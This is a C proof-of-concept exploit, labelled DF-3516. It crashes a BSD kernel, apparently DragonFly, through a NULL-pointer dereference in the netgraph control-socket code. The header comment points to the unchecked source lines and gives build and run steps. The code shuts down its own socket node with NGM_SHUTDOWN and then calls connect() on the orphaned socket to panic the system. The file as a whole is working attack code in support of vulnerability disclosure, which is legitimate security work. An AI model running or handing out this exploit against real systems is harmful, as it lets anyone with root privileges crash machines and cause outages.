DF-3516 / df3516.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* DF-3516 PoC: v1 ng_socket NULL-deref panic via post-shutdown control socket. * * sys/netgraph/socket/ng_socket.c: * ngc_send() :257 error = ng_send_msg(pcbp->sockdata->node, ...) * ng_connect_cntl():694/:701 sockdata->node * Both deref pcbp->sockdata with NO NULL check. After the node is shut down * (deterministically: sendto(NGM_SHUTDOWN) addressed to the socket's own node, * ng_base.c:1256 NGM_SHUTDOWN -> ng_rmnode -> ngs_rmnode:919-933 NULLs * pcbp->sockdata and kfrees it), the socket stays open with so_pcb=pcbp, so the * next sendto()/connect() on it NULL-derefs -> kernel panic. * * ngd_send:357, ng_bind:714, ng_setsockaddr:444 all check sockdata==NULL - * the two sites above are the omission. * * Build: cc -o df3516 df3516.c * Run: ./df3516 (as root; control sockets are root-gated) * Expect: first sendto returns 0, second sendto panics the kernel * (kernel NULL pointer deref - page fault at ~vaddr 0x0/0x10). */ #include <sys/types.h> #include <sys/socket.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> /* NG_CONTROL, struct sockaddr_ng */ #ifndef AF_NETGRAPH #define AF_NETGRAPH 32 /* DragonFly */ #endif static int mk_ng_sock(void) { int s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (s < 0) fprintf(stderr, "socket(AF_NETGRAPH, NG_CONTROL): %s\n", strerror(errno)); return (s); } int main(void) { struct sockaddr_ng sa; struct { struct ng_mesg msg; char data[64]; } m; int s, n; signal(SIGPIPE, SIG_IGN); s = mk_ng_sock(); if (s < 0) return (1); /* Name our node "shutme" so it can be addressed by path. */ memset(&sa, 0, sizeof(sa)); sa.sg_len = 2 + strlen("shutme") + 1; sa.sg_family = AF_NETGRAPH; strcpy(sa.sg_data, "shutme"); if (bind(s, (struct sockaddr *)&sa, sa.sg_len) < 0) { fprintf(stderr, "bind: %s\n", strerror(errno)); return (1); } /* Step 1: NGM_SHUTDOWN addressed to our own node -> ngs_rmnode() * NULLs pcbp->sockdata and frees the ngsock, but leaves the socket * open with so_pcb = pcbp. */ memset(&m, 0, sizeof(m)); m.msg.header.version = NG_VERSION; m.msg.header.typecookie = NGM_GENERIC_COOKIE; m.msg.header.cmd = NGM_SHUTDOWN; m.msg.header.arglen = 0; m.msg.header.token = 0x3516; m.msg.header.flags = 0; memset(&sa, 0, sizeof(sa)); sa.sg_len = 2 + strlen("shutme:") + 1; sa.sg_family = AF_NETGRAPH; strcpy(sa.sg_data, "shutme:"); n = sendto(s, &m, sizeof(m.msg), 0, (struct sockaddr *)&sa, sa.sg_len); printf("[*] sendto(NGM_SHUTDOWN) = %d errno=%d (%s)\n", n, errno, strerror(errno)); if (n < 0) return (1); fflush(stdout); /* Step 2: connect() on the still-open socket. soconnect() has no * SS_ISDISCONNECTED gate (unlike sosend, which fails with EPIPE), * so pru_connect -> ngc_connect -> ng_connect_cntl runs with * sockdata == NULL -> "sockdata->node" NULL-deref -> panic. */ memset(&sa, 0, sizeof(sa)); sa.sg_len = 2 + strlen("shutme:") + 1; sa.sg_family = AF_NETGRAPH; strcpy(sa.sg_data, "shutme:"); strcpy(sa.sg_data, "shutme:link0"); sa.sg_len = 2 + strlen("shutme:link0") + 1; printf("[*] connect() (should panic the kernel)\n"); fflush(stdout); n = connect(s, (struct sockaddr *)&sa, sa.sg_len); /* NOT REACHED on success */ printf("[!] connect returned %d errno=%d (%s) - no panic?\n", n, errno, strerror(errno)); fflush(stdout); return (0); } |